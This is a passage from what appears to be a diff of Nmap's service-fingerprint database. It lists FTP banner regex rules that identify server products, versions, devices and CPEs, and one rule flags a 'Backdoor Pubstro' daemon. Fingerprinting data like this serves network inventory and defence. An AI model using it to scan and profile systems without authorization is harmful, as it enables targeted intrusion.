ready\.\r\n|s p/Personal Oracle XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2::personal/ +match ftp m|^(?:220-.*\r\n)?220 ([\w._-]+) FTP Server \(Oracle XML DB/Oracle Database\) ready\.\r\n|s p/Oracle XML DB ftpd/ h/$1/ cpe:/a:oracle:database_server/ +match ftp m|^(?:200-.*\r\n)?220 ([\w._-]+) FTP Server \(Oracle XML DB/\) ready\.\r\n|s p/Oracle XML DB ftpd/ h/$1/ cpe:/a:oracle:database_server/ +match ftp m|^220 ([-\w_.]+) PacketShaper FTP server ready\.\r\n| p/PacketShaper ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 WfFTP server\(([\w.]+)\) ready\.\r\n| p/Nortel WfFTP/ v/$1/ d/router/ +match ftp m|^220- (.*) WAR-FTPD ([-\w.]+) Ready\r\n220 Please enter your user name\.\r\n| p/WAR-FTPD/ v/$2/ i/Name $1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Canon ([\w._-]+) FTP Print Server V([\w._-]+) .* ready\.\r\n| p/Canon $1 FTP Print Server/ v/$2/ d/print server/ cpe:/h:canon:$1/ +match ftp m|^500 OOPS: .*\r\n$| p/vsftpd/ i/Misconfigured/ o/Unix/ cpe:/a:vsftpd:vsftpd/ +match ftp m|^500 OOPS: vsftpd: both local and anonymous access disabled!\r\n| p/vsftpd/ i/Access denied/ o/Unix/ cpe:/a:vsftpd:vsftpd/ +match ftp m|^220 FTP Version ([\d.]+) on MPS100\r\n| p/Lantronix MPS100 ftpd/ v/$1/ d/print server/ cpe:/h:lantronix:mps100/a +match ftp m|^220.*bftpd ([\d.]+) at ([-\w_.]+) ready\.?\r\n|s p/Bftpd/ v/$1/ h/$2/ cpe:/a:jesse_smith:bftpd:$1/ +match ftp m|^220.*bftpd ([\d.]+) at ([-\w_.]+) ready\.?|s p/Bftpd/ v/$1/ h/$2/ cpe:/a:jesse_smith:bftpd:$1/ +match ftp m|^220 RICOH Pro (\d+[a-zA-Z]{0,3}) FTP server \(([\d+.]+)\) ready\.\r\n| p/Ricoh Pro $1 ftpd/ v/$2/ d/printer/ cpe:/h:ricoh:pro_$1/a +match ftp m|^220 LANIER ([\w\d /-]+) FTP server \(([\d+.]+)\) ready\.\r\n| p/Lanier $1 ftpd/ v/$2/ d/printer/ cpe:/h:lanier:$1/a +match ftp m|^220 Welcome to Code-Crafters Ability FTP Server\.\r\n| p/Code-Crafters Ability ftpd/ o/Windows/ cpe:/a:code-crafters:ability_ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Code-Crafters - Ability Server ([\d.]+)\.| p/Code-Crafters Ability ftpd/ v/$1/ o/Windows/ cpe:/a:code-crafters:ability_ftp_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([-\w_.]+) FTP server \(ARM_BE - V([\w.]+)\) ready\.\r\n| p/NetComm NS4000 Network Camera/ i/ARM_BE $2/ d/webcam/ h/$1/ +match ftp m|^220 MikroTik FTP server \(MikroTik v?([\w._-]+)\) ready\r\n| p/MikroTik router ftpd/ v/$1/ d/router/ +match ftp m|^220 lankacom FTP server \(MikroTik v?([\w._-]+)\) ready\r\n| p/Lankacom router ftpd/ v/$1/ i/MikroTik/ d/router/ +match ftp m|^220 (.+) FTP server \(MikroTik ([\w._-]+)\) ready\r\n| p/MikroTik router ftpd/ v/$2/ d/router/ h/$1/ +match ftp m|^220 NetPresenz v([\d.]+) \(Unregistered\) awaits your command\.\r\n| p/NetPresenz/ v/$1/ i/Unregistered/ o/Mac OS/ cpe:/o:apple:mac_os/a +match ftp m|^220 LP-8900-[0-9A-F]+ FTP server \(OEM FTPD version ([\d.]+)\) ready\.\r\n| p/OEM FTPD $1/ i/EPSON Network Print Server/ d/print server/ +match ftp m|^220 StylusPhoto750-[0-9A-F]+ FTP server \(OEM FTPD version ([\d.]+)\) ready\.\r\n| p/OEM FTPD $1/ i/Epson StylusPhoto750/ d/print server/ +match ftp m|^220 AL-(\w+)-[0-9A-F]+ FTP server \(OEM FTPD version ([\d.]+)\) ready\.\r\n| p/OEM FTPD $2/ i/Epson AcuLaser $1 printer/ d/printer/ cpe:/h:epson:aculaser_$1/a +match ftp m|^220 FTP Version ([\d.]+) on MSS100\r\n| p/Lantronix MSS100 serial interface ftpd/ v/$1/ d/specialized/ +match ftp m|^220 Matrix FTP server \(Server \w+#\d\) ready\.\r\n| p/Matrix ftpd/ +match ftp m|^220 Titan FTP Server ([\d.]+) Ready\.\r\n| p/Titan ftpd/ v/$1/ o/Windows/ cpe:/a:southrivertech:titan_ftp_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^421-\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+\r\n421-The evaluation period for this Titan FTP Server has expired\.\r\n| p/Titan ftpd/ i/Evaluation period expired/ o/Windows/ cpe:/a:southrivertech:titan_ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220 ioFTPD \[www: http://www\.ioftpd\.com\] - \[version: ([-\w_. ]+)\] server ready\.\r\n| p/ioFTPD/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 CesarFTP ([\w.]+) Server Welcome !\r\n| p/ACLogic CesarFTPd/ v/$1/ o/Windows/ cpe:/a:aclogic:cesarftpd:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 CesarFTP ([\w.]+) \xb7\xfe\xce\xf1\xc6\xf7\xbb\xb6\xd3\xad !\r\n| p/ACLogic CesarFTPd/ v/$1/ i/Chinese/ o/Windows/ cpe:/a:aclogic:cesarftpd:$1:::zh/ cpe:/o:microsoft:windows/a +match ftp m|^220-This site is running the BisonWare BisonFTP server product V([\d.]+)\r\n| p/BisonWare BisonFTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m=^220-Welcome to XBOX FileZilla(?: \(XBMC\)|)\r\n220-version: XBFileZilla version ([\d.]+), \(based on FileZilla Server ([\d.]+)\)\r\n220 http://sourceforge\.net/projects/xbfilezilla\r\n= p/XBFileZilla/ v/$1/ i/Based on FileZilla $2/ cpe:/a:xbmc:xbfilezilla:$1/ +match ftp m=^220-Welcome to XBOX FileZilla(?: \(XBMC\)|)\r\n220-version: XBMC:FileZilla version ([\d.]+), \(based on FileZilla Server ([\d.]+)\)\r\n220 http://sourceforge\.net/projects/xbfilezilla\r\n= p/XBFileZilla/ v/$1/ i/Based on FileZilla $2/ cpe:/a:xbmc:xbfilezilla:$1/ +match ftp m|^220 Session will be terminated after 600 seconds of inactivity\.\r\n| p/Cisco 3000 series VPN ftpd/ d/security-misc/ o/IOS/ cpe:/o:cisco:ios/a +match ftp m|^220-SlimFTPd ([\d.]+), by WhitSoft Development \(www\.whitsoftdev\.com\)\r\n| p/SlimFTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 BlackMoon FTP Server Version ([\d.]+ Release \d+) - Build \d+\. Free Edition\. Service Ready\r\n| p/BlackMoon ftpd/ v/$1/ i/Free edition/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 BlackMoon FTP Server Version ([\d.]+ Release \d+) - Build \d+\. Chaos Edition\. Service Ready\r\n| p/BlackMoon ftpd/ v/$1/ i/Chaos edition/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220-BlackMoon FTP Server Version ([\d.]+ Release \d+) - Build \d+\r\n| p/BlackMoon ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 BlackMoon FTP Server - Free Edition - Version ([\d.]+)\. Service Ready\r\n| p/BlackMoon ftpd/ v/$1/ i/Free edition/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 netapp ftp server\r\n| p/netapp ftpd/ +match ftp m|^220 Oracle Internet File System FTP Server ready\r\n| p/Oracle Internet File System ftpd/ +match ftp m|^220 NRG 2205/2238/2212 FTP server \(([\d.]+)\) ready\.\r\n| p|NRG 2205/2238/2212 copier ftpd| v/$1/ d/printer/ +match ftp m|^220 mandelbrot FTP server \(Version ([\d.]+) \(NeXT ([\d.]+)\) .*\) ready\.\r\n| p/mandelbrot ftpd/ v/$1/ i/NeXT $2/ o/NeXTStep/ cpe:/o:next:nextstep/ +# Microsoft Windows .NET Enterprise Server (build 3604-3790) +match ftp m|^220 Net Administration Divisions FTP Server Ready\.\.\.\r\n| p/Net Administration Divisions ftpd/ +match ftp m|^220-\r\n220-\r\n220 Please enter your user name\.\r\n| p/MoreFTPd/ +match ftp m|^220 ([-\w_.]+) FTP server \(OSF/1 Version ([\d.]+)\) ready\.\r\n| p|OSF/1 ftpd| i|OSF/1 $2| o/Unix/ h/$1/ +match ftp m|^220 Qtopia ([\d.]+) FTP Server\n| p/Qtopia ftpd/ v/$1/ d/PDA/ +match ftp m|^220[ -]Gene6 FTP Server v([\d.]+) +\(Build (\d+)\).* ready\.\.\.\r\n| p/Gene6 ftpd/ v/$1 build $2/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 G6 FTP Server v([\d.]+) \(beta (\d+)\) ready \.\.\.\r\n| p/Gene6 ftpd/ v/$1 beta $2/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([-\w_.]+) by G6 FTP Server ready \.\.\.\r\n| p/Gene6 ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 .* by G6 FTP Server ready \.\.\.\r\n| p/Gene6 ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220.*Hello! I'm Gene6 FTP Server v([-\w_.]+) \(Build (\d+)\)\.\r\n|s p/Gene6 ftpd/ v/$1 build $2/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([\w._-]+) FTP server ready\.\.\.\r\n| p/Gene6 ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 sftpd/([\d.]+) Server \[[-\w_.]+\]\r\n| p/sftpd/ v/$1/ +match ftp m|^220-TYPSoft FTP Server ([\d.]+) ready\.\.\.\r\n| p/TYPSoft ftpd/ v/$1/ o/Windows/ cpe:/a:typsoft:typsoft_ftp_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Pablo's FTP Server\r\n| p/Pablo's ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 PowerLogic FTP Server ready\.\r\n| p/PowerLogic embedded device ftpd/ d/specialized/ +match ftp m|^220 INTERMEC 540\+/542\+ FTP Printer Server V([\d.]+) .* ready\.\r\n| p|Intermec 540+/542+ printer ftpd| v/$1/ d/printer/ +match ftp m|^220 EthernetBoard OkiLAN 8100e Ver ([\d.]+) FTP server\.\r\n| p/OkiLAN 8100e print server/ v/$1/ d/print server/ +match ftp m|^220 OKI-([\w+]+) Version ([\d.]+) ready\.\r\n| p/OkiData $1 printer ftpd/ v/$2/ d/printer/ +# SpeedStream 5660 ADSL modem/router +match ftp m|^220 VxWorks \(ENI-ftpd ([\d.]+)\) FTP server ready\r\n| p/SpeedStream 5660 ADSL router/ i|Runs ENI-ftpd/$1 on VxWorks| d/router/ o/VxWorks/ cpe:/o:windriver:vxworks/a + +match ftp m|^220--------------------------------------------------------------------------------\r\n220-This is the \"Banner\" message for the Mac OS X Server's FTP server process\.\r\n.*220 ([-\w_.]+) FTP server \(Version: Mac OS X Server ([\d.]+) - \+GSSAPI\) ready\.\r\n|s p/Mac OS X Server ftpd/ i/MacOS X $2/ o/Mac OS X/ h/$1/ cpe:/o:apple:mac_os_x/a +match ftp m|^220--------------------------------------------------------------------------------\r\n220-This is the \"Banner\" message for the Mac OS X Server's FTP server process\.\r\n| p/Mac OS X Server ftpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a + +match ftp m|^220 Welcome to U\.S\.Robotics SureConnect ADSL Ethernet/USB Router update FTP server v([\d.]+)\.\r\n| p/USRobotics SureConnect ADSL router ftpd/ v/$1/ d/router/ +match ftp m|^220-Welcome to Xerver Free FTP Server ([\d.]+)\.\r\n220-\r\n220-You can login below now\.\r\n220 Features: \.\r\n| p/Xerver Free ftpd/ v/$1/ +match ftp m|^220 ([-\w_.]+) FTP server \(tnftpd ([\w._+-]+)\) ready\.\r\n| p/tnftpd/ v/$2/ h/$1/ +match ftp m|^220 ([-\w_.]+) FTP server \(LundFTPD ([\d.]+) .*\) ready\.\r\n| p/LundFTPd/ v/$2/ h/$1/ +match ftp m|^220 HD316\r FTP server\(Version([\d.]+)\) ready\.\r\n| p/Panasonic WJ-HD316 Digital Disk Recorder/ v/$1/ d/media device/ cpe:/h:panasonic:wj-hd316/ +match ftp m|^220 ([\w._-]+)\r FTP server\(Version([\w._-]+)\) ready\.\r\n| p/Panasonic WJ-HD316 Digital Disk Recorder/ v/$2/ d/media device/ h/$1/ cpe:/h:panasonic:wj-hd316/ +match ftp m=^220 (\w+) IBM Infoprint (Color |)(\d+) FTP Server ([\w.]+) ready\.\r\n= p/IBM Infoprint $2$3 ftpd/ v/$4/ d/printer/ h/$1/ +match ftp m|^220 ([\w._-]+) IBM Infoprint (\w+) FTP Server ([\w.]+) ready\.\r\n| p/IBM Infoprint $2 ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:ibm:infoprint_$2/a +match ftp m|^220 ShareIt FTP Server ([\d.]+) \(WINCE\) Ready\.\r\n| p/ShareIt ftpd/ v/$1/ d/PDA/ +match ftp m|^220 ShareIt FTP Pro ([\d.]+) \(WINCE\) Ready\.\r\n| p/ShareIt Pro ftpd/ v/$1/ d/PDA/ +match ftp m|^220 ISOS FTP Server for Upgrade Purpose \(([\d.]+)\) ready\r\n| p/Billion 741GE ADSL router/ v/$1/ d/router/ cpe:/h:billion:741ge/a +match ftp m|^220 PV11 FTP Server ready\r\n| p/Unknown wireless acces point ftpd/ i/Runs Phar Lap RTOS/ d/router/ +match ftp m|^220 Alize Session Manager FTP Server\r\n| p/Alcatel OmniPCX ftpd/ d/PBX/ cpe:/a:alcatel-lucent:omnipcx/ +match ftp m|^220-FTP Server ready\r\n220-Welcome to the Sambar FTP Server\r\r\n| p/Sambar ftpd/ cpe:/a:sambar:sambar_server/ +match ftp m|^220 SINA FTPD \(Version ([-\d.]+)\).*\r\n| p/Sina ftpd/ v/$1/ +match ftp m|^220 DataHive FTP Server ([\d.]+) Ready\.\r\n| p/DataHive ftpd/ v/$1/ +match ftp m|^220--- AlterVista FTP, based on Pure-FTPd --\r\n| p/AlterVista ftpd/ i/Based on Pure-ftpd/ +match ftp m|^220 Welcome to the ADI Convergence Galaxy update FTP server v([\d.]+)\.\r\n| p/ADI Convergence Galaxy update ftpd/ v/$1/ +match ftp m|^421 You are not permitted to make this connection\.\r\n| p/Symantec Raptor Firewall ftpd/ d/firewall/ cpe:/a:symantec:raptor_firewall/ +match ftp m|^220 copier2FTP server ready\.\r\n| p/Konica Minolta Di3510 Copier ftpd/ d/printer/ cpe:/h:konicaminolta:di3510/a +match ftp m|^220 DrayTek FTP version ([\d.]+)\r\n| p/DrayTek Vigor router ftpd/ v/$1/ d/router/ +match ftp m|^220 ([-\w_.]+) FTP server ready \(mod_ftpd/([\d.]+)\)\r\n| p/Apache mod_ftpd/ v/$2/ h/$1/ cpe:/a:apache:http_server/ +match ftp m|^220 The Avalaunch FTP system -- enter user name\r\n| p/Avalaunch ftpd/ i/XBox/ d/game console/ +match ftp m|^220 Server 47 FTP service\. Welcome\.\r\n| p/Bftpd/ o/Unix/ cpe:/a:jesse_smith:bftpd/ +match ftp m%^220-loading\.\.\r\n220-\| W e L c O m E @ SFXP\|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\|\r\n% p/SwiftFXP/ +match ftp m|^220 Z-FTP\r\n| p/Z-FTPd/ + +match ftp m|^220 ([-/.+\w_]+) Dell ([-/.+\w ]+) FTP Server ([\w._-]+) ready\.\r\n| p/Dell $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:dell:$2/ +match ftp m|^220 ([-/.+\w_]+) Dell Wireless Printer Adapter ([\w._-]+) FTP Server ready\.\r\n| p/Dell $2 Wireless Printer Adapter ftpd/ d/print server/ h/$1/ cpe:/h:dell:$2/ +match ftp m|^220 ([-/.+\w_]+) Dell Laser Printer ([-/.+\w ]+) FTP Server ([\w._-]+) ready\.\r\n| p/Dell $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:dell:$2/ +match ftp m|^220 Dell Laser Printer ([\w._-]+)\r\n| p/Dell $1 laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ +match ftp m|^220 Dell Color Laser ([\w._-]+)\r\n| p/Dell $1 color laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ +match ftp m|^220 Dell ([\w._-]+) Color Laser\r\n| p/Dell $1 color laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ +match ftp m|^220 Dell MFP Laser ([\w._-]+)\r\n| p/Dell $1 laser printer ftpd/ d/printer/ cpe:/h:dell:$1/ + +match ftp m|^220 Plan 9 FTP server ready\r\n| p/Plan 9 ftpd/ o/Plan 9/ cpe:/o:belllabs:plan_9/a +match ftp m=^220-\+----------------------\[ UNREGISTERED VERSION \]-----------------------\+\r\n220-\| This site is running unregistered copy of RaidenFTPD ftp server \+\r\n= p/RaidenFTPd/ i/Unregistered/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|220 ([-\w_.]+) FTP server \(Version: Mac OS X Server ([\d.]+) - \+GSSAPI\) ready\.\r\n|s p/MacOS X Server ftpd/ i/MacOS X Server $2/ o/Mac OS X Server/ h/$1/ cpe:/o:apple:mac_os_x_server:$2/ +match ftp m|^220 Fastream NETFile FTP Server(?: Ready)?\r\n| p/Fastream NETFile FTPd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 FTP 9500 server \(Version ([\d.]+)\) ready\.\r\n| p|Nokia Smartphone 9300/9500 ftpd| v/$1/ d/phone/ o/Symbian/ cpe:/o:symbian:symbian/ +match ftp m|^220 [\d.]+ CVX FTP server \(([\d.]+)\) ready\.\r\n| p/CVX ftpd/ v/$1/ +match ftp m|^220-\.:\.\r\n220-\.:+\r\n220-\.::::::::::\. e1137 FTP Server loading \.::::::::::::::\. WinSock ready \.| p/e1137 ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Connect\(active \d+, max active \d+\) session \d+ to RemoteScan Server ([\d.]+) on .*\r\n| p/RemoteScan ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220.ArGoSoft FTP Server for Windows NT/2000/XP, Version [\d.]+ \(([\d.]+)\)\r\n| p/ArGoSoft ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220.ArGoSoft FTP Server, Version [\d.]+ \(([\d.]+)\)\r\n| p/ArGoSoft ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ArGoSoft FTP Server \.NET v\.([\d.]+) at [^\r\n]*\r\n| p/ArGoSoft ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to the dvd2xbox ftp server\.\r\n| p/dvd2xbox built-in ftpd/ d/game console/ +match ftp m|^220 Welcome To WinEggDrop Tiny FTP Server\r\n| p/WinEggDrop ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220-\n220-Welcome to the HOME Edition of GlobalSCAPE CuteFTP Server, which limits\n| p/GlobalSCAPE CuteFTPd/ i/HOME Edition/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Gestetner DSm622 FTP server \(([\d.]+)\) ready\.\r\n| p/Gestetner DSm622 copier ftpd/ v/$1/ d/printer/ +match ftp m|^220 NRG (\w+) FTP server \(([\d.]+)\) ready\.\r\n| p/NRG $1 printer ftpd/ v/$2/ d/printer/ cpe:/h:nrg:$1/a +match ftp m|^220-\r\n| p/Backdoor Pubstro ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 wzd server ready\.\r\n| p/wzdftpd/ +match ftp m|^500 Sorry, no server available to handle request on ([-\w_.:]+)\r\n| p/ProFTPD/ i/No server available/ h/$1/ cpe:/a:proftpd:proftpd/a +match ftp m|^500 Sorry, no server available to handle request on ([-\w_.:]+)\.\r\n| p/ProFTPD/ i/No server available/ h/$1/ cpe:/a:proftpd:proftpd/a +match ftp m|^220 Intel NetportExpress\(tm\) 10/100 Single-port FTP server ready\.\r\n| p/Intel NetportExpress print server ftpd/ d/print server/ +match ftp m|^220 NET\+ARM FTP Server ([\d.]+) ready\.\r\n| p/NET+ARM ftpd/ v/$1/ +match ftp m|^220- FTPshell Server Service \(Version ([-\w_.]+)\)\r\n220 \r\n| p/FTPshell ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Connected to ([-\w_.]+) ready\.\.\.\r\n| p/TYPSoft ftpd/ o/Windows/ h/$1/ cpe:/a:typsoft:typsoft_ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([-\w_.]+) FTP Server \(LiteServe\) Ready!\r\n| p/Perception LiteServe ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 BetaFTPD ([-\w_.]+) ready\.\r\n| p/BetaFTPd/ v/$1/ +match ftp m|^220 NET Disk FTP Server ready\.\r\n| p|NET Disk/NetStore ftpd| +match ftp m|^421 Service not available, closing control connection\.\r\n| p|NET Disk/NetStore ftpd| i/Disabled/ +match ftp m|^220 NETWORK HDD FTP Server ready\.\r\n| p/Argosy Research HD363N Network HDD ftpd/ d/storage-misc/ +match ftp m|^220 Blue Coat FTP Service\r\n| p/Blue Coat ftp proxy/ d/security-misc/ +# Can't find any info on this ftpd. Backdoor? -Doug +match ftp m|^220 Homer Ftp Server\r\n| p/Homer ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Personal FTP Server ready\r\n| p/Personal FTPd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Personal FTP Professional Server ready\r\n| p/Personal FTPd Professional/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220-InterVations FileCOPA FTP Server Version ([\d.]+) .*\r\n220 Trial Version\. (\d+) days remaining\r\n| p/InterVations FileCOPA ftpd/ v/$1/ i/Trial: $2 days left/ o/Windows/ cpe:/a:intervations:filecopa:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 cab Mach4/(\d+) FTP Server ready\.\r\n| p/CAB MACH 4 label printer ftpd/ i/$1 dpi/ d/printer/ +match ftp m|^220 cab A4\+/(\d+) FTP Server ready\.\r\n| p/CAB A4+ label printer ftpd/ i/$1 dpi/ d/printer/ +match ftp m|^220 (KM[\w+]+) FTP server \(KM FTPD version ([\d.]+)\) ready\.\r\n| p/Konica Minolta $1 ftpd/ v/$2/ d/printer/ cpe:/h:konicaminolta:$1/a +match ftp m|^220 Golden FTP Server ready v([\w._-]+)\r\n| p/Golden ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Golden FTP Server Pro ready v([\w._-]+)\r\n| p/Golden ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Golden FTP Server PRO ready v([\w._-]+)\r\n| p/Golden PRO ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ITC Version ([\d.]+) of [-\d]+ X Kyocera UIO UMC 10base OK \r\n| p/X Kyocera UIO UMC 10base print server ftpd/ v/$1/ d/print server/ cpe:/h:kyocera:uio_umc_10base/a +match ftp m|^220 ActiveFax Version ([\d.]+) \(Build (\d+)\) - .*\r\n| p/ActiveFax ftpd/ v/$1 build $2/ +match ftp m|^220-Welcome to .*\r\n220 CrushFTP Server Ready[!.]\r\n| p/CrushFTP/ cpe:/a:crushftp:crushftp/ +match ftp m|^220-Welcome to CrushFTP([\w._-]+)!\r\n220 CrushFTP Server Ready\.\r\n| p/CrushFTP/ v/$1/ cpe:/a:crushftp:crushftp:$1/ +match ftp m|^220 DPO-7300 FTP Server ([\d.]+) ready\.\n| p/NetSilicon DPO-7300 ftpd/ v/$1/ +match ftp m|^220 Welcome to WinFtp Server\.\r\n| p/WinFtpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 IBM TCP/IP for OS/2 - FTP Server ver ([\d:.]+) on .* ready\.\r\n| p|IBM OS/2 ftpd| v/$1/ o|OS/2| cpe:/a:ibm:os2_ftp_server:$1/ cpe:/o:ibm:os2/ +match ftp m|^220 AudioVAULT FTP server\r\n| p/AudioVault ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 FTP/VPP Server ([\d.]+) / Current Date: [-\d]+ [\d:]+\r\n| p/Verteiltes Printen und Plotten ftpd/ v/$1/ +match ftp m|^220 Xerox WorkCentre (\w+) Ver ([\d.]+) FTP server\.\r\n| p/Xerox WorkCentre $1 ftpd/ v/$2/ d/printer/ cpe:/h:xerox:workcentre_$1/a +match ftp m|^220 Xerox Phaser (\w+)\r\n| p/Xerox Phaser $1 printer ftpd/ d/printer/ cpe:/h:xerox:phaser_$1/a +match ftp m|^220 .* Server \(vftpd ([\d.]+)\) ready\.\r\n| p/vftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Network Camera FTP Server\r\n| p/Vivotek 3102 Camera ftpd/ d/webcam/ +match ftp m|^220-TwoFTPd server ready\.\r\n220 Authenticate first\.\r\n| p/TwoFTPd/ o/Unix/ +match ftp m|^220 WEB TLC FTP SERVER READY TYPE HELP FOR HELP \r\n| p/Overland Storage Neo2000 ftpd/ d/storage-misc/ +match ftp m|^220 ([-/.+\w_]+) Lexmark ([-/.+\w ]+) FTP Server ([-.\w]+) ready\.\r\n| p/Lexmark $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:lexmark:$2/a +match ftp m|^220 ([-/.+\w_]+) MarkNet ([-/.+\w ]+) FTP Server ([-.\w]+) ready\.\r\n| p/Lexmark $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:lexmark:$2/a +match ftp m|^500 ([\w._-]+) FTP server shut down -- please try again later\.\r\n| p/Mac OS X Server ftpd/ i/disabled/ o/Mac OS X/ h/$1/ cpe:/o:apple:mac_os_x/a +match ftp m|^220 \(Ver\. ([^)]+)\) [A-Z][a-z]{2} \d+ 20\d+ ready\.\r\n| p|Canon VB-C10/VB-C10R webcam ftpd| v/$1/ d/webcam/ +match ftp m|^220 Cisco \(([\d.]+)\) FTP server ready\r\n| p/Cisco ftpd/ v/$1/ o/IOS/ cpe:/o:cisco:ios/a +match ftp m|^220 \"Global Site Selector FTP\"\r\n| p/Cisco Site Selector ftpd/ d/security-misc/ cpe:/h:cisco:global_site_selector:-/ +match ftp m|^220 ISOS FTP Server \(([\d.]+)\) ready\r\n| p/Xavi 7768 WAP ftpd/ v/$1/ d/WAP/ cpe:/h:xavi:7768/ +match ftp m|^220- smallftpd ([\d.]+)\r\n220- check http://smallftpd\.free\.fr| p/smallftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([-\w_.]+) GridFTP Server ([\w._-]+) \((gcc\w+), [-\d]+\) (?:\[unknown\] )?ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/$3/ h/$1/ +match ftp m|^220 ([\w._-]+) GridFTP Server ([\w._-]+) \((gcc\w+), [-\d]+\) \[Globus Toolkit ([\w._-]+)\] ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/Globus Toolkit $4; $3/ h/$1/ +match ftp m|^220 ([-\w_.]+) (?:[A-Z]+ )?GridFTP Server ([\d.]+) (GSSAPI type Globus/GSI wu-\S+) \(gcc\w+, [-\d]+\) ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/$3/ h/$1/ +match ftp m|^220 ([-\w_.]+) FTP server \(GridFTP Server ([\d.]+) \[(GSI patch v[\d\.]+)\] (wu-\S+) .+\) ready\.\r\n| p/Globus GridFTPd/ v/$2/ i/$4 $3/ h/$1/ +match ftp m|^220 Welcome to the OpenDreambox FTP service\.\r\n| p/Dreambox ftpd/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 Willkomen auf Ihrer Dreambox\.\r\n| p/Dreambox ftpd/ i/German/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 Welcome to the PLi dreambox FTP server\r\n| p/Dreambox ftpd/ i/PLi image/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 Welcome to the Pli Jade Server >> OpenDreambox FTP service <<\.\r\n| p/Dreambox ftpd/ i/PLi Jade image/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 ([-\w_.]+) FTP server \(KONICA FTPD version ([\d.]+)\) ready\.\r\n| p/Konica Minolta printer ftpd/ v/$2/ d/printer/ h/$1/ +match ftp m|^220 KONICA MINOLTA FTP server ready\.\r\n| p/Konica Minolta bizhub printer ftpd/ d/printer/ +match ftp m|^Error loading /etc/ssl/certs/ftpd\.pem:| p/Linux NetKit ftpd/ i/misconfigured/ o/Linux/ cpe:/a:netkit:netkit/ cpe:/o:linux:linux_kernel/a +match ftp m|^500 OOPS: cannot locate user entry:([-\w_]+)\r\n500 OOPS: child died\r\n| p/vsftpd/ i/misconfigured; ftp user $1/ cpe:/a:vsftpd:vsftpd/ +match ftp m|^220 Welcome to Freebox FTP Server\.\r\n| p/Freebox ftpd/ d/media device/ +match ftp m|^220 FTP server \(Medusa Async 